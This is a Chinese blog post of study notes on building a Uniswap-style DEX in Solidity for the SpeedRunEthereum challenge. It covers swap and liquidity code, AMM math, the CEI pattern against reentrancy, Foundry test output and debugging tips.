函数开始执行时，<code>msg.value</code> <strong>已经加到了</strong> <code>address(this).balance</code>。</p><p><strong>陷阱</strong>：</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">function ethToToken() public payable returns (uint256 tokenOutput) {</span><br><span class="line"> // ❌ 错！这样读到的是"包含 msg.value" 的余额</span><br><span class="line"> uint256 xReserves = address(this).balance;</span><br><span class="line"></span><br><span class="line"> // ✅ 对！减掉 msg.value 才是"调用前"的旧余额</span><br><span class="line"> uint256 xReserves = address(this).balance - msg.value;</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><p><strong>为什么这样写</strong>：price() 的数学用的是”swap 之前池子里有多少”。msg.value 是 swap 的一部分，不应该算进旧储备。</p><table><thead><tr><th>函数</th><th>要不要减 msg.value</th></tr></thead><tbody><tr><td><code>ethToToken</code> (payable)</td><td>✅ 要减</td></tr><tr><td><code>tokenToEth</code> (nonpayable)</td><td>❌ 不用减（没新 ETH 进来）</td></tr><tr><td><code>deposit</code> (payable)</td><td>✅ 要减</td></tr><tr><td><code>withdraw</code> (nonpayable)</td><td>❌ 不用减</td></tr></tbody></table><h4 id="知识点-②：Push-vs-Pull-模式"><a href="#知识点-②：Push-vs-Pull-模式" class="headerlink" title="知识点 ②：Push vs Pull 模式"></a>知识点 ②：Push vs Pull 模式</h4><table><thead><tr><th>方向</th><th>函数</th><th>场景</th></tr></thead><tbody><tr><td><strong>合约 → 用户</strong></td><td><code>token.transfer(to, amount)</code></td><td>合约主动 push（不需要 approve）</td></tr><tr><td><strong>用户 → 合约</strong></td><td><code>token.transferFrom(from, to, amount)</code></td><td>合约主动 pull（<strong>需要先 approve</strong>）</td></tr></tbody></table><table><thead><tr><th>swap 方向</th><th>用的函数</th></tr></thead><tbody><tr><td><code>ethToToken</code>（ETH → token）</td><td><code>token.transfer</code> (push token 给用户)</td></tr><tr><td><code>tokenToEth</code>（token → ETH）</td><td><code>token.transferFrom</code> (pull token 进来) + <code>payable(msg.sender).transfer</code> (push ETH 给用户)</td></tr></tbody></table><h4 id="知识点-③：payable-msg-sender-transfer-转-ETH"><a href="#知识点-③：payable-msg-sender-transfer-转-ETH" class="headerlink" title="知识点 ③：payable(msg.sender).transfer() 转 ETH"></a>知识点 ③：<code>payable(msg.sender).transfer()</code> 转 ETH</h4><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">payable(msg.sender).transfer(ethOutput);</span><br></pre></td></tr></table></figure></div><ul><li><code>payable(...)</code> 强转：<code>msg.sender</code> 是 <code>address</code> 类型，<strong>Solidity 类型系统要求</strong> <code>payable address</code> 才能付 ETH</li><li><code>.transfer()</code>：失败自动 revert，固定 2300 gas；它不能替代完整的反重入设计，本关真正依赖的安全顺序仍是 CEI</li></ul><h4 id="知识点-④：CEI-模式（Checks-→-Effects-→-Interactions）"><a href="#知识点-④：CEI-模式（Checks-→-Effects-→-Interactions）" class="headerlink" title="知识点 ④：CEI 模式（Checks → Effects → Interactions）"></a>知识点 ④：CEI 模式（Checks → Effects → Interactions）</h4><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">function tokenToEth(uint256 tokenInput) public returns (uint256 ethOutput) {</span><br><span class="line"> // ① Checks</span><br><span class="line"> if (tokenInput == 0) revert InvalidTokenAmount();</span><br><span class="line"></span><br><span class="line"> // ② 先基于调用前快照完成输出计算</span><br><span class="line"> uint256 xReserves = token.balanceOf(address(this));</span><br><span class="line"> uint256 yReserves = address(this).balance;</span><br><span class="line"> ethOutput = price(tokenInput, xReserves, yReserves);</span><br><span class="line"></span><br><span class="line"> // ③ Interactions</span><br><span class="line"> token.transferFrom(msg.sender, address(this), tokenInput);</span><br><span class="line"> payable(msg.sender).transfer(ethOutput);</span><br><span class="line"> emit TokenToEthSwap(msg.sender, tokenInput, ethOutput);</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><p><strong>核心原则</strong>：<strong>所有算账用”调用前”的状态</strong>。如果先转账再算，balanceOf 已经变了，算的 ethOutput 是按”已经被改变的池子”算的——<strong>对用户不利</strong>。</p><h4 id="知识点-⑤：Events-是什么"><a href="#知识点-⑤：Events-是什么" class="headerlink" title="知识点 ⑤：Events 是什么"></a>知识点 ⑤：Events 是什么</h4><p><code>emit</code> 是合约主动发到链上的”日志”——<strong>不影响状态、不消耗太多 gas</strong>。DeFi 生态的”神经系统”：前端 / The Graph / Dune Analytics 靠它知道发生了什么。</p><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">event EthToTokenSwap(address swapper, uint256 ethInput, uint256 tokenOutput);</span><br></pre></td></tr></table></figure></div><p>事件签名必须<strong>严格匹配 IDEX 接口</strong>（包括 <code>indexed</code> 关键字的位置）——否则 ABI 对不上，前端查不到事件。</p><h3 id="3-完整-swap-生命周期时序图"><a href="#3-完整-swap-生命周期时序图" class="headerlink" title="3. 完整 swap 生命周期时序图"></a>3. 完整 swap 生命周期时序图</h3><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">用户 DEX 合约 Balloons 合约</span><br><span class="line"> │ │ │</span><br><span class="line"> │ (1) approve(dex, 1e18) │ │</span><br><span class="line"> ├─────────────────────────────→├─────────────────────────────→│</span><br><span class="line"> │ │ │ 记录 allowance</span><br><span class="line"> │ (2) tokenToEth(1e18) │ │</span><br><span class="line"> │ msg.value = 0 │ │</span><br><span class="line"> ├─────────────────────────────→│ │</span><br><span class="line"> │ │ (3) snapshot │</span><br><span class="line"> │ │ xReserves = token.balance │</span><br><span class="line"> │ │ yReserves = ETH.balance │</span><br><span class="line"> │ │ (4) 计算 ethOutput │</span><br><span class="line"> │ │ (5) transferFrom(user, dex) │</span><br><span class="line"> │ ├─────────────────────────────→│</span><br><span class="line"> │ │ (6) payable(user).transfer │</span><br><span class="line"> │ │ (7) emit TokenToEthSwap │</span><br><span class="line"> │ (8) 收到 ETH │ │</span><br><span class="line"> │←─────────────────────────────┤ │</span><br></pre></td></tr></table></figure></div><h3 id="4-UI-实测：swap-后的状态"><a href="#4-UI-实测：swap-后的状态" class="headerlink" title="4. UI 实测：swap 后的状态"></a>4. UI 实测：swap 后的状态</h3><p><figure class="image-caption"><img lazyload src="/images/loading.svg" data-src="/images/speedrunethereum/04-dex-06-dex-after-swap.png" alt="swap 后的 DEX 状态" ><figcaption>swap 后的 DEX 状态</figcaption></figure></p><hr><h2 id="🏦-Checkpoint-5-加撤流动性"><a href="#🏦-Checkpoint-5-加撤流动性" class="headerlink" title="🏦 Checkpoint 5: 加撤流动性"></a>🏦 Checkpoint 5: 加撤流动性</h2><h3 id="目标-3"><a href="#目标-3" class="headerlink" title="目标"></a>目标</h3><p>实现 <code>deposit()</code>（按比例加流动性）和 <code>withdraw()</code>（按比例撤流动性）。</p><h3 id="1-完整实现-2"><a href="#1-完整实现-2" class="headerlink" title="1. 完整实现"></a>1. 完整实现</h3><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line">function deposit() public payable returns (uint256 tokensDeposited) {</span><br><span class="line"> if (msg.value == 0) revert InvalidEthAmount();</span><br><span class="line"> uint256 ethReserve = address(this).balance - msg.value;</span><br><span class="line"> uint256 tokenReserve = token.balanceOf(address(this));</span><br><span class="line"> uint256 liquidityMinted = msg.value * totalLiquidity / ethReserve;</span><br><span class="line"> tokensDeposited = msg.value * tokenReserve / ethReserve;</span><br><span class="line"> liquidity[msg.sender] += liquidityMinted;</span><br><span class="line"> totalLiquidity += liquidityMinted;</span><br><span class="line"> if (!token.transferFrom(msg.sender, address(this), tokensDeposited)) revert TokenTransferFailed();</span><br><span class="line"> emit LiquidityProvided(msg.sender, liquidityMinted, msg.value, tokensDeposited);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">function withdraw(uint256 amount) public returns (uint256 ethAmount, uint256 tokenAmount) {</span><br><span class="line"> if (liquidity[msg.sender] < amount) revert InsufficientLiquidity(liquidity[msg.sender], amount);</span><br><span class="line"> uint256 ethReserve = address(this).balance;</span><br><span class="line"> uint256 tokenReserve = token.balanceOf(address(this));</span><br><span class="line"> ethAmount = amount * ethReserve / totalLiquidity;</span><br><span class="line"> tokenAmount = amount * tokenReserve / totalLiquidity;</span><br><span class="line"> liquidity[msg.sender] -= amount;</span><br><span class="line"> totalLiquidity -= amount;</span><br><span class="line"> payable(msg.sender).transfer(ethAmount);</span><br><span class="line"> if (!token.transfer(msg.sender, tokenAmount)) revert TokenTransferFailed();</span><br><span class="line"> emit LiquidityRemoved(msg.sender, amount, ethAmount, tokenAmount);</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><h3 id="2-核心数学：LP-凭证-池子股份"><a href="#2-核心数学：LP-凭证-池子股份" class="headerlink" title="2. 核心数学：LP 凭证 = 池子股份"></a>2. 核心数学：LP 凭证 = 池子股份</h3><h4 id="池子-股份公司"><a href="#池子-股份公司" class="headerlink" title="池子 = 股份公司"></a>池子 = 股份公司</h4><table><thead><tr><th>概念</th><th>现实类比</th><th>区块链版本</th></tr></thead><tbody><tr><td>公司</td><td>池子（DEX 合约）</td><td>池子（DEX 合约）</td></tr><tr><td>股份</td><td>LP 凭证</td><td><code>liquidity[user]</code></td></tr><tr><td>总股本</td><td>总股份</td><td><code>totalLiquidity</code></td></tr><tr><td>资产</td><td>公司的钱</td><td>池子里的 ETH + token</td></tr><tr><td>你的份额</td><td>你的股份 / 总股本</td><td><code>liquidity[user] / totalLiquidity</code></td></tr></tbody></table><h4 id="加流动性-买股份"><a href="#加流动性-买股份" class="headerlink" title="加流动性 = 买股份"></a>加流动性 = 买股份</h4><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">投 Δx ETH 进去</span><br><span class="line">池子要"等比"配 token（维持当前 ETH:token 比例）</span><br><span class="line">你拿到 LP 凭证 = 你的池子"股份"</span><br></pre></td></tr></table></figure></div><p><strong>关键公式</strong>：</p><table><thead><tr><th>算什么</th><th>公式</th></tr></thead><tbody><tr><td>我投的 ETH 占池子比例</td><td><code>msg.value / ethReserve</code></td></tr><tr><td>我要同步投的 token</td><td><code>msg.value × tokenReserve / ethReserve</code></td></tr><tr><td>我拿到的 LP 凭证</td><td><code>msg.value × totalLiquidity / ethReserve</code></td></tr></tbody></table><p><strong>手算示例</strong>（池子 5 ETH + 5 token，user2 投 5 ETH）：</p><table><thead><tr><th>变量</th><th>公式</th><th>结果</th></tr></thead><tbody><tr><td><code>liquidityMinted</code></td><td><code>5 × 5 / 5</code></td><td><strong>5 LP</strong></td></tr><tr><td><code>tokensDeposited</code></td><td><code>5 × 5 / 5</code></td><td><strong>5 token</strong></td></tr></tbody></table><h4 id="撤流动性-卖股份"><a href="#撤流动性-卖股份" class="headerlink" title="撤流动性 = 卖股份"></a>撤流动性 = 卖股份</h4><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">我烧 amount LP</span><br><span class="line">池子按"我的股份比例" 给我 ETH + token</span><br></pre></td></tr></table></figure></div><p><strong>关键公式</strong>：</p><table><thead><tr><th>算什么</th><th>公式</th></tr></thead><tbody><tr><td>我占池子比例</td><td><code>amount / totalLiquidity</code></td></tr><tr><td>我能拿回的 ETH</td><td><code>amount × ethReserve / totalLiquidity</code></td></tr><tr><td>我能拿回的 token</td><td><code>amount × tokenReserve / totalLiquidity</code></td></tr></tbody></table><h3 id="3-跟-init-的关键区别"><a href="#3-跟-init-的关键区别" class="headerlink" title="3. 跟 init() 的关键区别"></a>3. 跟 init() 的关键区别</h3><table><thead><tr><th>维度</th><th><code>init</code></th><th><code>deposit</code></th></tr></thead><tbody><tr><td>谁用</td><td><strong>第一个</strong> LP</td><td><strong>第二个及以后</strong></td></tr><tr><td>LP 怎么算</td><td><code>totalLiquidity = address(this).balance</code></td><td><code>msg.value × totalLiquidity / ethReserve</code></td></tr><tr><td>要投多少 token</td><td>用户自己定（必须 1:1 锚定）</td><td>按比例自动算</td></tr><tr><td>为什么不同</td><td>没有”已有比例”可参考</td><td>按当前池子比例自动配平</td></tr></tbody></table><p><strong>形象比喻</strong>：</p><ul><li><code>init</code> = 创业合伙人”出 100 万，给我 50% 股份”</li><li><code>deposit</code> = 投资人”我要买 30% 股份，需要多少钱？按当前估值”</li></ul><h3 id="4-Withdraw-为什么要先-Effects-再-Interactions？"><a href="#4-Withdraw-为什么要先-Effects-再-Interactions？" class="headerlink" title="4. Withdraw 为什么要先 Effects 再 Interactions？"></a>4. Withdraw 为什么要先 Effects 再 Interactions？</h3><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">function withdraw(uint256 amount) public returns (uint256 ethAmount, uint256 tokenAmount) {</span><br><span class="line"> if (liquidity[msg.sender] < amount) revert InsufficientLiquidity(liquidity[msg.sender], amount);</span><br><span class="line"></span><br><span class="line"> // ② Effects 先：state 变量先改</span><br><span class="line"> liquidity[msg.sender] -= amount; // ← 先减</span><br><span class="line"> totalLiquidity -= amount; // ← 先减</span><br><span class="line"></span><br><span class="line"> // ③ Interactions 后：再付钱</span><br><span class="line"> payable(msg.sender).transfer(ethAmount);</span><br><span class="line"> if (!token.transfer(msg.sender, tokenAmount)) revert TokenTransferFailed();</span><br><span class="line"> emit LiquidityRemoved(msg.sender, amount, ethAmount, tokenAmount);</span><br><span class="line">}</span><br></pre></td></tr></table></figure></div><p><strong>为什么这样？</strong> 如果先转 ETH 再改 state，<strong>用户合约的 fallback 可以重入 withdraw</strong>——重入时 <code>liquidity[msg.sender]</code> 还是旧的（没减），攻击者可以再撤一次，最终亏空整个池子。</p><p>CEI 模式让重入时看到的是”已经减过”的 state，<strong>重入也无利可图</strong>。</p><h3 id="5-UI-实测：完整往返"><a href="#5-UI-实测：完整往返" class="headerlink" title="5. UI 实测：完整往返"></a>5. UI 实测：完整往返</h3><h4 id="Deposit-后"><a href="#Deposit-后" class="headerlink" title="Deposit 后"></a>Deposit 后</h4><p><figure class="image-caption"><img lazyload src="/images/loading.svg" data-src="/images/speedrunethereum/04-dex-08-after-deposit.png" alt="deposit 后的状态" ><figcaption>deposit 后的状态</figcaption></figure></p><ul><li>DEX ETH 余额：1.0000 → <strong>1.5000 ETH</strong></li><li><code>totalLiquidity</code>：1e18 → <strong>1.5e18</strong></li><li><code>getLiquidity(我的地址)</code>：1e18 → <strong>1.5e18</strong></li><li>我的 Balloons：999 → <strong>998.5</strong>（被自动扣了 0.5 token 配对）</li></ul><p><strong>对账</strong>：投 0.5 ETH，池子原 1 ETH + 1 token，我占 50%，所以<strong>复制一半池子</strong> → 0.5 ETH + 0.5 token，拿 50% 的 LP（从 1 增到 1.5）。</p><h4 id="Withdraw-后"><a href="#Withdraw-后" class="headerlink" title="Withdraw 后"></a>Withdraw 后</h4><p><figure class="image-caption"><img lazyload src="/images/loading.svg" data-src="/images/speedrunethereum/04-dex-09-after-withdraw.png" alt="withdraw 后的状态" ><figcaption>withdraw 后的状态</figcaption></figure></p><ul><li>我的 Balloons 余额：998.5 → <strong>1000</strong>（拿回 1.5 token）</li><li>DEX ETH 余额：1.5 → <strong>0</strong>（拿回 1.5 ETH）</li><li><code>totalLiquidity</code>：1.5e18 → <strong>0</strong>（全部 LP 烧掉）</li><li>我的 ETH：9999.5 → <strong>10001</strong>（多了 1.5 ETH）</li></ul><p><strong>完美对账</strong>：净投入 0，净收益 0。LP 凭证是”按比例分池子资产”的凭证，<strong>烧掉就等于从池子退出</strong>。</p><hr><h2 id="📊-测试结果"><a href="#📊-测试结果" class="headerlink" title="📊 测试结果"></a>📊 测试结果</h2><div class="code-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ forge <span class="built_in">test</span> --match-test Checkpoint -vv</span><br></pre></td></tr></table></figure></div><div class="code-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">[PASS] test_Checkpoint2_GetLiquidityReturnsLPBalance() (gas: 180124)</span><br><span class="line">[PASS] test_Checkpoint2_InitRevertsOnSecondCall() (gas: 132464)</span><br><span class="line">[PASS] test_Checkpoint2_TotalLiquidityStartsAtZeroAndInitSetsIt (gas: 124822)</span><br><span class="line">[PASS] test_Checkpoint3_PriceCalculationWithFee() (gas: 7542)</span><br><span class="line">[PASS] test_Checkpoint4_EthToTokenEmitsAndTransfers() (gas: 204130)</span><br><span class="line">[PASS] test_Checkpoint4_EthToTokenRevertsOnZeroEth() (gas: 180560)</span><br><span class="line">[PASS] test_Checkpoint4_TokenToEthEmitsAndTransfers() (gas: 184193)</span><br><span class="line">[PASS] test_Checkpoint4_TokenToEthRevertsOnZeroTokens() (gas: 180604)</span><br><span class="line">[PASS] test_Checkpoint5_DepositIncreasesLiquidityAndEmits() (gas: 252177)</span><br><span class="line">[PASS] test_Checkpoint5_DepositRevertsOnZeroEth() (gas: 180514)</span><br><span class="line">[PASS] test_Checkpoint5_WithdrawEmitsAndDecreasesLiquidity() (gas: 201812)</span><br><span class="line">[PASS] test_Checkpoint5_WithdrawRevertsIfNoLiquidity() (gas: 183690)</span><br><span class="line"></span><br><span class="line">Suite result: ok. 12 passed; 0 failed; 0 skipped</span><br></pre></td></tr></table></figure></div><hr><h2 id="🐛-关键踩坑清单"><a href="#🐛-关键踩坑清单" class="headerlink" title="🐛 关键踩坑清单"></a>🐛 关键踩坑清单</h2><h3 id="1-0xfb8f41b2-not-found-on-ABI（OOPs-错误）"><a href="#1-0xfb8f41b2-not-found-on-ABI（OOPs-错误）" class="headerlink" title="1. 0xfb8f41b2 not found on ABI（OOPs 错误）"></a>1. <code>0xfb8f41b2 not found on ABI</code>（OOPs 错误）</h3><p><strong>表象</strong>：Debug 调 <code>init</code> 失败，前端报 <code>0xfb8f41b2 not found on ABI</code><br><strong>真相</strong>：OpenZeppelin v5 标准错误 <code>ERC20InsufficientAllowance</code>（来自 Balloons 合约）<br><strong>原因</strong>：没给 Balloons 授权 DEX<br><strong>修法</strong>：先 <code>balloons.approve(dex, 1e18)</code>，再调 <code>init</code><br><strong>诊断命令</strong>：<code>cast sig "ERC20InsufficientAllowance(address,uint256,uint256)"</code> → <code>0xfb8f41b2</code></p><h3 id="2-price-Debug-返回-0"><a href="#2-price-Debug-返回-0" class="headerlink" title="2. price() Debug 返回 0"></a>2. <code>price()</code> Debug 返回 0</h3><p><strong>表象</strong>：Debug 调 <code>price(1e18, 5e18, 5e18)</code> 返回 0<br><strong>真相</strong>：链上合约是<strong>旧版本</strong>（<code>price</code> 函数体是空注释）<br><strong>原因</strong>：改完合约没重新部署<br><strong>修法</strong>：<code>yarn deploy --reset</code> + 刷前端<br><strong>教训</strong>：<code>forge test</code> 跑的是新代码，前端连的是链上旧合约——<strong>两个东西完全不同</strong></p><h3 id="3-if-token-transferFrom-是死代码"><a href="#3-if-token-transferFrom-是死代码" class="headerlink" title="3. if (!token.transferFrom(...)) 是死代码"></a>3. <code>if (!token.transferFrom(...))</code> 是死代码</h3><p><strong>表象</strong>：写了 revert 但永远走不到<br><strong>真相</strong>：OpenZeppelin v5 的 <code>transferFrom</code> 不会返回 false，失败直接 revert<br><strong>修法</strong>：本关实现保留返回值检查；生产代码统一使用 <code>SafeERC20.safeTransferFrom</code></p><h3 id="4-ethToToken-没减-msg-value"><a href="#4-ethToToken-没减-msg-value" class="headerlink" title="4. ethToToken 没减 msg.value"></a>4. <code>ethToToken</code> 没减 <code>msg.value</code></h3><p><strong>表象</strong>：直接写 <code>address(this).balance</code> 作为 xReserves<br><strong>后果</strong>：price 算错（用”包含 msg.value”的旧储备算 swap）<br><strong>真相</strong>：payable 函数一进来 msg.value 已经在 balance 里<br><strong>修法</strong>：用 <code>address(this).balance - msg.value</code></p><h3 id="5-withdraw-没先改-state-就转钱"><a href="#5-withdraw-没先改-state-就转钱" class="headerlink" title="5. withdraw 没先改 state 就转钱"></a>5. <code>withdraw</code> 没先改 state 就转钱</h3><p><strong>表象</strong>：打开重入攻击面<br><strong>修法</strong>：CEI 模式 —— Checks → Effects → Interactions</p><h3 id="6-整数除法精度损失"><a href="#6-整数除法精度损失" class="headerlink" title="6. 整数除法精度损失"></a>6. 整数除法精度损失</h3><p><strong>表象</strong>：<code>5e18 * 3 / 7e18</code> 应该是 2.14…，Solidity 算出来是 2（向下取整）<br><strong>后果</strong>：用户<strong>少拿</strong> 0.000… 个 wei 的 LP<br><strong>真相</strong>：Solidity 整数除法<strong>永远向下取整</strong><br><strong>修法</strong>：无解——这是 EVM 设计，Uniswap V2 也这样<br><strong>影响</strong>：剩余的 wei 留在池子里归现有 LP 按比例分（隐式捐赠）</p><hr><h2 id="🎯-关键学习总结"><a href="#🎯-关键学习总结" class="headerlink" title="🎯 关键学习总结"></a>🎯 关键学习总结</h2><h3 id="Solidity-基础"><a href="#Solidity-基础" class="headerlink" title="Solidity 基础"></a>Solidity 基础</h3><table><thead><tr><th>概念</th><th>一句话</th></tr></thead><tbody><tr><td><code>immutable</code></td><td>部署时确定的常量，存合约引用</td></tr><tr><td><code>payable</code></td><td>函数能收 ETH</td></tr><tr><td><code>msg.value</code></td><td>当前调用附带的 ETH（<strong>已经在 balance 里了</strong>）</td></tr><tr><td><code>address(this).balance</code></td><td>合约历史累计的 ETH 余额</td></tr><tr><td><code>pure</code> vs <code>view</code></td><td>pure 不读 storage，view 读但不写</td></tr></tbody></table><h3 id="ERC20"><a href="#ERC20" class="headerlink" title="ERC20"></a>ERC20</h3><table><thead><tr><th>概念</th><th>一句话</th></tr></thead><tbody><tr><td><strong>账本模型</strong></td><td>合约是数据库，不是装币的容器</td></tr><tr><td><strong>approve</strong></td><td>用户授权别人能拉我多少钱（不改余额）</td></tr><tr><td><strong>transferFrom</strong></td><td>别人用 allowance 把我的钱拉走</td></tr><tr><td><strong>OZ v5 行为</strong></td><td>失败直接 revert（不返回 false）</td></tr></tbody></table><h3 id="AMM-数学"><a href="#AMM-数学" class="headerlink" title="AMM 数学"></a>AMM 数学</h3><table><thead><tr><th>公式</th><th>含义</th></tr></thead><tbody><tr><td><code>x · y = k</code></td><td>恒定乘积</td></tr><tr><td><code>yOutput = y × Δx × 997 / (x × 1000 + Δx × 997)</code></td><td>带手续费的 swap 输出</td></tr><tr><td><code>liquidityMinted = Δx × totalLP / ethReserve</code></td><td>加流动性发多少 LP</td></tr><tr><td><code>ethWithdrawn = amount × ethReserve / totalLP</code></td><td>撤流动性拿回多少 ETH</td></tr></tbody></table><h3 id="DeFi-模式"><a href="#DeFi-模式" class="headerlink" title="DeFi 模式"></a>DeFi 模式</h3><table><thead><tr><th>模式</th><th>一句话</th></tr></thead><tbody><tr><td><strong>CEI</strong></td><td>Checks → Effects → Interactions（防重入）</td></tr><tr><td><strong>Push</strong></td><td>合约主动给用户钱（transfer）</td></tr><tr><td><strong>Pull</strong></td><td>合约主动拉用户钱（transferFrom + 需 approve）</td></tr><tr><td><strong>Snapshot</strong></td><td>用”调用前”的状态算账（避免被自己改的状态坑）</td></tr></tbody></table><h3 id="工程实践"><a href="#工程实践" class="headerlink" title="工程实践"></a>工程实践</h3><table><thead><tr><th>习惯</th><th>原因</th></tr></thead><tbody><tr><td>改完合约必跑 <code>forge build</code></td><td>验证语法</td></tr><tr><td>然后 <code>forge test</code></td><td>验证逻辑</td></tr><tr><td>然后 <code>yarn deploy --reset</code></td><td>让链上字节码更新</td></tr><tr><td>最后刷前端</td><td>让前端 ABI 重新加载</td></tr></tbody></table><h3 id="Debug-实战"><a href="#Debug-实战" class="headerlink" title="Debug 实战"></a>Debug 实战</h3><table><thead><tr><th>技巧</th><th>用途</th></tr></thead><tbody><tr><td><code>cast sig "ErrorName(types)"</code></td><td>把错误名转成 4 字节选择器</td></tr><tr><td><code>forge test -vvv</code></td><td>看每次 swap 的事件、gas、状态</td></tr><tr><td>前端 ABI 找不到错误</td><td>怀疑<strong>子调用</strong>（不是入口合约）</td></tr><tr><td>价格返回 0 / 旧值</td><td>链上合约是<strong>旧版本</strong>——重部署</td></tr></tbody></table><hr><h2 id="📚-延伸阅读"><a href="#📚-延伸阅读" class="headerlink" title="📚 延伸阅读"></a>📚 延伸阅读</h2><ul><li><a class="link" href="https://uniswap.org/whitepaper.pdf" >Uniswap V2 白皮书<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a> —— 这整个挑战的”原本”</li><li><a class="link" href="https://docs.openzeppelin.com/contracts/erc20" >OpenZeppelin ERC20 文档<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a> —— approve / transferFrom 流程</li><li><a class="link" href="https://docs.soliditylang.org/en/v0.8.20/security-considerations.html" >Solidity 0.8.x 安全模式<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a> —— CEI、reentrancy</li><li><a class="link" href="https://eips.ethereum.org/EIPS/eip-1967" >EIP-1967<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a> —— Proxy Storage Slots（理解为什么 init 是函数不是 constructor）</li></ul><hr><h2 id="🏆-成果"><a href="#🏆-成果" class="headerlink" title="🏆 成果"></a>🏆 成果</h2><ul><li>✅ 12/12 forge 测试通过</li><li>✅ Debug 标签页 UI 实测 4 个 swap 场景 + deposit/withdraw 全部对账</li><li>✅ 完整理解 AMM 数学、ERC20 机制、Solidity 工程实践</li><li>✅ 学会了 Debug 实战（ABI 错误诊断、bytecode 过期）</li></ul><p><strong>最大的认知升级</strong>：”合约不是装币的容器，是记币归属的账本”——这个反直觉点理解了，DeFi 80% 的概念就通了。</p>]]></content>
<summary type="html"></summary>
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<category term="Foundry" scheme="https://kylinxin.github.io/tags/Foundry/"/>
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</entry>
<entry>
<title>SpeedRunEthereum 靶场学习笔记 03：Dice Game</title>
<link href="https://kylinxin.github.io/2026/06/24/SpeedRunEthereum%20%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%2003%EF%BC%9ADice%20Game/"/>
<id>https://kylinxin.github.io/2026/06/24/SpeedRunEthereum%20%E9%9D%B6%E5%9C%BA%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%2003%EF%BC%9ADice%20Game/</id>
<published>2026-06-24T01:00:00.000Z</published>
<updated>2026-06-25T01:00:00.000Z</updated>
